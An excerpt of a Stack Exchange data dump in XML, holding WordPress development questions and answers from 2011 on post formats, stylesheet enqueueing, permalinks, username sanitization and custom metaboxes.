  <row Id="14256" PostTypeId="2" ParentId="10346" CreationDate="2011-04-08T10:55:07.790" Score="-1" ViewCount="" Body="&lt;p&gt;There is a much better way to fix this problem, so it ONLY changes the way the function works under the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As documented here: &lt;a href=&quot;http://dansgalaxy.co.uk/2011/04/05/wordpress-3-1-with-disqus-plugin-errors-for-comment-count-in-admin/&quot; rel=&quot;nofollow&quot;&gt;http://dansgalaxy.co.uk/2011/04/05/wordpress-3-1-with-disqus-plugin-errors-for-comment-count-in-admin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a very simple half a line fix which works beautifully, and means you can have lovely textual output in the front end and double (numeric) output in admin. :) &lt;/p&gt;&#xA;" OwnerUserId="4531" LastActivityDate="2011-04-08T10:55:07.790" CommentCount="2" />
  <row Id="14257" PostTypeId="1" AcceptedAnswerId="14314" CreationDate="2011-04-08T10:57:43.857" Score="1" ViewCount="253" Body="&lt;p&gt;I just stepped into the concept of &lt;strong&gt;post formats&lt;/strong&gt; and was wondering why there are two out of 3 functions from the post format &quot;API&quot; offer absolutely the same functionality. Consider the following two concepts (A vs. B):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_posts() )&#xA;{&#xA;    while ( have_posts() )&#xA;    {&#xA;        the_post();&#xA;&#xA;        // A) has_post_format&#xA;        if ( has_post_format('format') )&#xA;        {&#xA;            the_excerpt(); // some special formating&#xA;        }&#xA;&#xA;        // VERSUS:&#xA;&#xA;        // B) &#xA;        if ( get_post_format( $GLOBALS['post']-&amp;gt;ID ) == 'format' )&#xA;        {&#xA;            the_excerpt(); // some special formating&#xA;        }&#xA;&#xA;    } // endwhile;&#xA;} // endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain me why there are those two functions instead only ex. &lt;code&gt;get_post_format&lt;/code&gt;? If you could offer me some examples of situations where the one isn't capable of something the other function can do, I'd be special happy and +1 it.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-04T13:08:32.053" Title="has_post_format() vs. get_post_format()" Tags="&lt;post-formats&gt;" AnswerCount="3" />
  <row Id="14258" PostTypeId="2" ParentId="14182" CreationDate="2011-04-08T11:19:57.007" Score="2" ViewCount="" Body="&lt;p&gt;You almost have it right, it should be &lt;code&gt;attachment&lt;/code&gt; instead of &lt;code&gt;media&lt;/code&gt; since all media uploads are &quot;called&quot; attachments&quot; in WordPress,&#xA;so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query-&amp;gt;set( 'post_type', 'attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T11:19:57.007" />
  <row Id="14259" PostTypeId="1" AcceptedAnswerId="14263" CreationDate="2011-04-08T11:20:54.953" Score="1" ViewCount="130" Body="&lt;p&gt;I have lots of posts in &lt;a href=&quot;http://blog.kushaljoshi.com.np&quot; rel=&quot;nofollow&quot;&gt;my website&lt;/a&gt;. I have used &lt;code&gt;default pagination&lt;/code&gt; function for paging the post list in &lt;em&gt;homepage&lt;/em&gt;. But I wanted to implement &lt;code&gt;lazy loading&lt;/code&gt; instead of pagination just like in &lt;em&gt;twitter&lt;/em&gt;. I don't have any idea about it's implementation in &lt;em&gt;Wordpress&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me with this.&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2011-05-01T21:38:19.267" Title="Implementing lazy loading in homepage posts instead of pagination" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14260" PostTypeId="2" ParentId="14221" CreationDate="2011-04-08T11:25:40.130" Score="0" ViewCount="" Body="&lt;p&gt;If you are very sure that you are not going to change the theme then it is fine if you add these buttons in your &lt;strong&gt;single.php&lt;/strong&gt; file. But if there is a plausibility that you will be changing template frequently then using a plugin would be better option. &lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-08T11:25:40.130" />
  <row Id="14261" PostTypeId="2" ParentId="14257" CreationDate="2011-04-08T11:30:53.033" Score="3" ViewCount="" Body="&lt;p&gt;Simple, has_post_format() returns a true/false (Boolean) value which is useful in IF statements, while get_post_format() returns the post format, if one exists, and probably NULL or false if one isn't there. Using Boolean values is a good clean way of making sure your conditions always behave the way you were expecting and the has_post_format() function allows for nice easy short conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format() ) {&#xA;  //yes we do&#xA;} else {&#xA;  //no we do not&#xA;}&#xA;&#xA;if ( !has_post_format() ) {&#xA;  //no we do not&#xA;} else {&#xA;  //yes we do&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, this just falls in line with other existing WordPress functionality. While your option B gets things done, it requires a bit more specialized knowledge than maybe the slightly above-average WordPress user is familiar with.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T11:30:53.033" CommentCount="1" />
  <row Id="14262" PostTypeId="1" CreationDate="2011-04-08T11:34:35.267" Score="0" ViewCount="53" Body="&lt;p&gt;Where can I find the corrent version of my wordpress blog ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://photoshop.faressoft.org&quot; rel=&quot;nofollow&quot;&gt;http://photoshop.faressoft.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2011-04-08T11:52:36.747" Title="Where can I find the corrent version of my wordpress blog?" Tags="&lt;3.0&gt;&lt;update&gt;&lt;version&gt;" AnswerCount="3" />
  <row Id="14263" PostTypeId="2" ParentId="14259" CreationDate="2011-04-08T11:36:18.563" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/infinite-scroll/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Infinite Scroll&lt;/strong&gt;&lt;/a&gt; plugin which Automatically append the next page of posts (via AJAX) to your page when a user scrolls to the bottom.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T11:36:18.563" CommentCount="4" />
  <row Id="14264" PostTypeId="2" ParentId="14262" CreationDate="2011-04-08T11:39:06.927" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://photoshop.faressoft.org/readme.html&quot; rel=&quot;nofollow&quot;&gt;http://photoshop.faressoft.org/readme.html&lt;/a&gt; and other signs (like version tags on scripts) say 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also should be listed in footer of admin interface.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-08T11:39:06.927" CommentCount="2" />
  <row Id="14265" PostTypeId="2" ParentId="14262" CreationDate="2011-04-08T11:40:14.620" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;You're using 3.1.1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your WordPress version is outputted all over the place in the HTML header on the front-end of your blog. When you go to the dashboard, it should also give you the version number in the footer.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T11:40:14.620" />
  <row Id="14266" PostTypeId="1" AcceptedAnswerId="14271" CreationDate="2011-04-08T11:40:47.607" Score="1" ViewCount="151" Body="&lt;p&gt;I have a child-theme -&gt; parent-theme setup, where I need to have stylesheet called generated.css loaded in addition to the style.css file added by the active child-theme. The generated.css file is residing in the parent-theme and is being dynamically generated and provided by the parent-theme..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started out the obvious way, simply adding an import rule to the beginning of the child-themes style.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Get Parent BASE CSS */&#xA;@import url('../parent-theme/style.css');&#xA;&#xA;&#xA;/* Get Parent GENERATED CSS */&#xA;@import url('../parent-theme/generated.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work for two reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I want to be able to add a cache-busting version number to the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet'  href='http://www.com/wp-content/themes/parent-theme/generated.css?ver=2389642855'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) I want the file to be loaded last, after the child themes style.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to hook in the loading of this generated.css stylesheet into the head so it is added after the child-theme's style.css using the functions.php of the parent theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What hook or WP mechanism could I use?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-04-08T12:08:42.823" Title="add generated stylesheet from parent theme after child-themes style.css" Tags="&lt;theme-development&gt;&lt;child-theme&gt;&lt;stylesheet&gt;" AnswerCount="2" />
  <row Id="14267" PostTypeId="2" ParentId="14257" CreationDate="2011-04-08T11:45:55.433" Score="4" ViewCount="" Body="&lt;p&gt;&lt;em&gt;The following part is not correct, I have &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17320&quot; rel=&quot;nofollow&quot;&gt;created a ticket&lt;/a&gt; to request this enhancement.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/post.php#L503&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;has_post_format()&lt;/code&gt;&lt;/a&gt; is more flexible because it builds upon &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/category-template.php#L1190&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;has_term()&lt;/code&gt;&lt;/a&gt;, which builds upon &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/taxonomy.php#L2983&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_object_in_term()&lt;/code&gt;&lt;/a&gt;. This means you can pass an array of post formats and it will return &lt;code&gt;true&lt;/code&gt; if the posts has one of these formats.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( array( 'aside', 'video' ) ) {&#xA;    // It's an aside or a video&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/s&gt;&#xA;The original specification ticket &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14746&quot; rel=&quot;nofollow&quot;&gt;already mentioned&lt;/a&gt; both &lt;code&gt;get_post_format()&lt;/code&gt; and &lt;code&gt;has_post_format()&lt;/code&gt;, maybe because it builds upon the taxonomy system which also has both functions?&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T13:08:32.053" LastActivityDate="2011-05-04T13:08:32.053" CommentCount="8" />
  <row Id="14268" PostTypeId="2" ParentId="14266" CreationDate="2011-04-08T11:48:24.243" Score="0" ViewCount="" Body="&lt;p&gt;you can simply enqueue the generated.css style. Use the following code in your child themes function.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style('name_of_theme', get_bloginfo('template_directory') . '/generated.css', array(), '1.0', 'screen');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-08T11:48:24.243" />
  <row Id="14269" PostTypeId="1" CreationDate="2011-04-08T11:52:29.777" Score="0" ViewCount="96" Body="&lt;p&gt;I have placed and previously used WordPress source on my web server everything is up and running including the DB. I even can access the site's admin page but in the theme settings page (Appearance/Themes) I'm getting these errors.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: array_keys() [function.array-keys]: The first argument should be an array in /var/www/mysite/wp-includes/theme.php on line 513&#xA;&#xA;Warning: uksort() [function.uksort]: The argument should be an array in /var/www/dialog/wp-admin/themes.php on line 73&#xA;&#xA;Warning: array_slice() expects parameter 1 to be array, boolean given in /var/www/dialog/wp-admin/themes.php on line 94&#xA;&#xA;Warning: array_keys() [function.array-keys]: The first argument should be an array in /var/www/dialog/wp-admin/themes.php on line 150&#xA;&#xA;Warning: natcasesort() [function.natcasesort]: The argument should be an array in /var/www/dialog/wp-admin/themes.php on line 151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tried re-uploading the content but didn't work.I'm confused of what causing this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4532" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:13:55.897" LastActivityDate="2011-08-07T02:19:59.470" Title="WordPress | Theme error" Tags="&lt;themes&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14270" PostTypeId="2" ParentId="14262" CreationDate="2011-04-08T11:52:36.747" Score="1" ViewCount="" Body="&lt;p&gt;Go to the dashboard of your WordPress admin, under 'Right Now' you will see the WordPress version you are using.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-08T11:52:36.747" />
  <row Id="14271" PostTypeId="2" ParentId="14266" CreationDate="2011-04-08T11:59:17.807" Score="2" ViewCount="" Body="&lt;p&gt;Absolutely!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into functions.php, like you said. I'll call it cache_busting_styles because I like how it sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you set up the style via wp_enqueue_style, then call it during the action hook wp_print_styles, Also, you'll want to set up a variable and pass it in there as the version number as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cache_busting_styles() {&#xA;    //however you set up your version number here&#xA;    $version = 'cachebustingversion';&#xA;    wp_enqueue_style('cachebusting', get_bloginfo('template_url').'/parent-theme/generated.css', '', $version, 'screen');&#xA;}&#xA;add_action('wp_print_styles', 'cache_busting_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wp_enqueue_style accepts 5 arguments, first the handle, an ID wordpress associates with the stylesheet (must be unique), second the URL of the file, third the other files it depends on (any required files that should be loaded along with this file, I left it null, you may add anything you want, it uses other enqueued stylesheets handles), fourth the version, which it adds to the end of the link URL just like what you are looking for (You may pass whatever you want into this, WordPress puts it's current version in here by default), and finally the media argument for the CSS file (screen, print, all, etc...) I hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Just wanted to make clear that using this method should always add this sheet after the default style-sheet, but to make very sure, add_action accepts a third argument which is the priority of the action. A very large number will guarantee it running last, but something like 8 or 12 should do the trick, just in case you need to force the order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_styles', 'cache_busting_styles', 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4282" LastEditorUserId="4282" LastEditorDisplayName="" LastEditDate="2011-04-08T12:08:42.823" LastActivityDate="2011-04-08T12:08:42.823" CommentCount="2" />
  <row Id="14272" PostTypeId="2" ParentId="1604" CreationDate="2011-04-08T12:02:04.413" Score="0" ViewCount="" Body="&lt;p&gt;While these will work, you'll lose the ability to use the &quot;other&quot; custom features such as get_post_custom and wordpress queries. The simple solution is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$wpdb-&gt;select('database_name');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which changes the database system-wide (a mysql select_db). The database.table method works if you just want to make a simple query, but if you want to access another wordpress blog you can use select. You'll just need to change it back when you're done or your blog may do strange things.&lt;/p&gt;&#xA;" OwnerUserId="4533" LastActivityDate="2011-04-08T12:02:04.413" />
  <row Id="14273" PostTypeId="1" AcceptedAnswerId="14280" CreationDate="2011-04-08T12:09:59.480" Score="0" ViewCount="126" Body="&lt;p&gt;can't seem to get this but how can i load info in a child's page from its parent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie, i'm looking at an attachment and i can get the parents ID easy enough but not sure how to get the parents title, excerpt etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// attachment content above here then want to get and show some parents' content&#xA;&#xA;echo $parent = get_post_field('post_parent', $id);&#xA;&#xA;echo the_title(); // this still shows the childs title...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help appreciated! Dan&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-04-08T12:31:49.900" Title="get parent fields title, content excerpt etc" Tags="&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="14274" PostTypeId="1" AcceptedAnswerId="14276" CreationDate="2011-04-08T12:15:23.877" Score="0" ViewCount="218" Body="&lt;p&gt;I'm in the middle of moving to WordPress from another CMS. I definitely have to keep the links intact, which are like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;example.com (Redirects to /blog)&lt;/li&gt;&#xA;&lt;li&gt;example.com/blog (The blog, displaying all the articles)&lt;/li&gt;&#xA;&lt;li&gt;example.com/blog/article (A specific article)&lt;/li&gt;&#xA;&lt;li&gt;example.com/about (A static page)&lt;/li&gt;&#xA;&lt;li&gt;example.com/portfolio (Another static page)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now, however, only the static pages work as expected. I cannot figure out how to create a new custom &quot;blog&quot; page and display the blog posts on that, and how to remove the front page alltogether, making it redirect to the blog instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, I'm using the zBench theme, which always displays the &quot;Home&quot; tab which will lead to the front page. Instead, I want my tabs like this: &quot;Blog&quot;, &quot;About&quot;, &quot;Portfolio&quot; - no &quot;Home&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar question has been asked before:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3170/how-to-get-the-list-of-posts-in-a-static-page-other-than-front-page&quot;&gt;How to get the list of posts in a static page other than front page?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this seems like a hack, and not really the same problem I have. I do want to display the blog on the front page, I just want to rename it in both URL and on the tab.&lt;/p&gt;&#xA;" OwnerUserId="4534" LastActivityDate="2011-04-08T12:22:08.277" Title="How to display blog posts on a dedicated page?" Tags="&lt;3.1&gt;&lt;blog&gt;&lt;blog-page&gt;&lt;frontpage&gt;" AnswerCount="1" />
  <row Id="14275" PostTypeId="1" CreationDate="2011-04-08T12:16:42.697" Score="0" ViewCount="85" Body="&lt;p&gt;I can see &lt;code&gt;validate_user()&lt;/code&gt; calls &lt;code&gt;sanitize_user()&lt;/code&gt; with strict argument as true, which means uppercase letters are not allowed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In source code, I found this comment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If strict, reduce to ASCII for max portability.&#xA;    if ( $strict )&#xA;        $username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to know how does this affect portability?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-07T11:20:27.943" Title="Reason for Lowercase usernames" Tags="&lt;sanitization&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="14276" PostTypeId="2" ParentId="14274" CreationDate="2011-04-08T12:22:08.277" Score="1" ViewCount="" Body="&lt;p&gt;Setting your permalinks as &lt;code&gt;/blog/%postname%/&lt;/code&gt; will solve your structure problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme, drop in a &lt;code&gt;home.php&lt;/code&gt; file which redirects the user to /blog/ and you can set the blog to appear on a page with slug blog as the blog in your Settings &gt; Reading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the menu, you would have to take a look how your theme works. If its using WP 3.0 menus, then you can easily change them in the dashboard itself else if its calling &lt;code&gt;wp_list_pages()&lt;/code&gt;, then you need to use the exclude parameter of the function to exclude a particular page from showing. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-08T12:22:08.277" CommentCount="3" />
  <row Id="14277" PostTypeId="1" AcceptedAnswerId="14295" CreationDate="2011-04-08T12:23:18.177" Score="1" ViewCount="101" Body="&lt;p&gt;I could not find a thread discussing this, so starting this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on a rather elaborate theme for 3.1+, and by elaborate I mean that in addition to styling and regular front-end functionality, I am including plugins at the core of the theme, both for back-end and front-end. So, to keep this a little more organized, I split this into three questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is integrating plugins a common practice?&lt;/li&gt;&#xA;&lt;li&gt;What are the implications/complications in regards to auto-updating the theme/plugins?&lt;/li&gt;&#xA;&lt;li&gt;What would be the most optimized way of including each plugin without breaking pre-existing functionality?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2011-04-08T18:07:54.427" Title="Integrating plugins in themes" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;3.1&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="14278" PostTypeId="2" ParentId="14275" CreationDate="2011-04-08T12:25:07.333" Score="0" ViewCount="" Body="&lt;p&gt;Off hand, I suppose it would be so you can use validate_user's results in a URL or a $_GET string. I'm sure there are plenty of other reasons as well, I guess I don't know what they mean by max portability...&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T12:25:07.333" CommentCount="1" />
  <row Id="14279" PostTypeId="2" ParentId="14241" CreationDate="2011-04-08T12:27:31.730" Score="1" ViewCount="" Body="&lt;p&gt;First you have to give your dropdown names so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $media = array(&#xA; 'name'               =&amp;gt; 'subcat',&#xA; 'hierarchical'       =&amp;gt; 1,&#xA; 'parent'             =&amp;gt; get_cat_id('Media'),&#xA; 'show_option_none'   =&amp;gt; ('All Media'),&#xA; 'hide_empty'   =&amp;gt; 0  ); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php the_search_query(); ?&amp;gt;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;    &amp;lt;?php wp_dropdown_categories('name=maincat&amp;amp;show_option_none=All Category'); ?&amp;gt;&#xA;    &amp;lt;?php wp_dropdown_categories($media); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;my_search&quot; name=&quot;my_search&quot; value=&quot;c_search&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;search&quot; /&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create you search filter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define search filter&#xA;function search_filter( $query ) {&#xA;    // only modify your custom search query.&#xA;    if ( $query-&amp;gt;is_search &amp;amp;&amp;amp;  $_post['my_search'] == &quot;c_search&quot;) {&#xA;        $args = array(&#xA;                'relation' =&amp;gt; 'AND',&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'category',&#xA;                'field' =&amp;gt; 'id',&#xA;                'terms' =&amp;gt; array( $_post['maincat']),&#xA;                'operator' =&amp;gt; 'IN'&#xA;            ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'category',&#xA;                'field' =&amp;gt; 'id',&#xA;                'terms' =&amp;gt; array( $_post['subcat']),&#xA;                'operator' =&amp;gt; 'IN'&#xA;            )&#xA;        );&#xA;        $query-&amp;gt;set( 'tax_query', $args);&#xA;    }&#xA;    return $query;&#xA;}&#xA;&#xA;// The hook needed to search_filter&#xA;add_filter( 'the_search_query','search_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T12:27:31.730" CommentCount="2" />
  <row Id="14280" PostTypeId="2" ParentId="14273" CreationDate="2011-04-08T12:31:49.900" Score="1" ViewCount="" Body="&lt;p&gt;You can try &lt;code&gt;get_post($post-&amp;gt;post_parent)&lt;/code&gt; or &lt;code&gt;get_page($post-&amp;gt;post_parent)&lt;/code&gt; so if you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent = get_post($post-&amp;gt;post_parent);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get the title like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent-&amp;gt;post_title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And anything you want, you can &lt;code&gt;var_dump($parent)&lt;/code&gt; to see all the post info you can use.&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-04-08T12:31:49.900" CommentCount="1" />
  <row Id="14281" PostTypeId="2" ParentId="14277" CreationDate="2011-04-08T12:36:09.570" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, anything you build into functions.php could technically be re-purposed into a plugin and distributed, the same goes in reverse.&lt;/li&gt;&#xA;&lt;li&gt;You will have to handle the versioning aspect a little differently. With plugins, every time you make a change, you have to update just that plugin. With a theme, every little change will update the entire theme. This isn't a big deal, really, it actually may be a little more convenient, since WordPress will alert users when a theme update is available the same way it alerts for plugins.&lt;/li&gt;&#xA;&lt;li&gt;Make sure you rename the functions to make them unique, otherwise you'll run into crashes when functions are re-declared. I find it easiest to pre-pend the function with your theme name. plugin_function() would become theme_plugin_function().&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you find that your functions.php is getting a little hefty and disorganized, you may create more .php files in your theme to help organize things, then call those files in functions.php via include_once('path/filename.php').&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T12:36:09.570" CommentCount="2" />
  <row Id="14282" PostTypeId="1" AcceptedAnswerId="14287" CreationDate="2011-04-08T12:39:00.597" Score="1" ViewCount="2999" Body="&lt;p&gt;I've added a custom post type, which is working great; I've also added two metaboxes, which appear to work well, but the content in them always disappears after a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help out on this I would be eternally grateful, S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//meta box code//&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'add_custom_metabox' );&#xA;add_action( 'save_post', 'save_custom_details' );&#xA;&#xA;function add_custom_metabox() {&#xA;    add_meta_box( 'custom-metabox', __( 'Product Description &amp;amp;amp; Ingredients' ), 'descr_custom_metabox', 'sorbets', 'normal', 'low' );&#xA;}&#xA;&#xA;function descr_custom_metabox() {&#xA;    global $post;&#xA;    $proddescr = get_post_meta( $post-&amp;gt;ID, 'proddescr', true );&#xA;    $ingredients = get_post_meta( $post-&amp;gt;ID, 'ingredients', true );&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;proddescr&quot;&amp;gt;Product Description:&amp;lt;br /&amp;gt;&#xA;        &amp;lt;textarea id=&quot;proddescr&quot; name=&quot;proddescr&quot; style=&quot;margin:0;height:7em;width:98%;&quot; cols=&quot;45&quot; rows=&quot;4&quot;&amp;gt;&amp;lt;?php if( $proddescr ) { echo $proddescr; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;ingredients&quot;&amp;gt;Ingredients:&amp;lt;br /&amp;gt;&#xA;        &amp;lt;textarea id=&quot;ingredients&quot; name=&quot;ingredients&quot; style=&quot;margin:0;height:7em;width:98%;&quot; cols=&quot;45&quot; rows=&quot;4&quot;&amp;gt;&amp;lt;?php if( $ingredients ) { echo $ingredients; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function save_custom_details( $post_ID ) {&#xA;    global $post;   &#xA;    if( $_POST ) {&#xA;        update_post_meta( $post-&amp;gt;ID, 'proddescr', $_POST['proddescr'] );&#xA;        update_post_meta( $post-&amp;gt;ID, 'ingredients', $_POST['ingredients'] );&#xA;    }&#xA;}&#xA;&#xA;function get_descr_ingred_box() {&#xA;    global $post;&#xA;&#xA;    $proddescr = get_post_meta( $post-&amp;gt;ID, 'proddescr', true );&#xA;    $ingredients = get_post_meta( $post-&amp;gt;ID, 'ingredients', true );&#xA;&#xA;    return array( $proddescr, $ingredients );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3362" LastActivityDate="2011-04-14T14:57:28.517" Title="Custom Post Type Metabox - Not Saving" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="2" />
